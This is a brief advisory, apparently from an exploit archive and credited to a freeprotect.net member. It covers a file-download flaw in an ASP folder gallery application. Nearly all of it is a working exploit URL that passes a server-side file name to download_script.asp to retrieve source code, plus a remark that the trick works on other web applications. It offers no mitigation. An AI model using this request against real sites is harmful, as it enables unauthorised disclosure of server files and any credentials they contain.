------------------------------------------------
Discovered by freeprotect.net member
------------------------------------------------
Vendor site: http://www.tenyearsgone.com
Exploit:
http://target/aspfoldergallery/download_script.asp?file=viewimage.asp
This can use to exploit other web applications.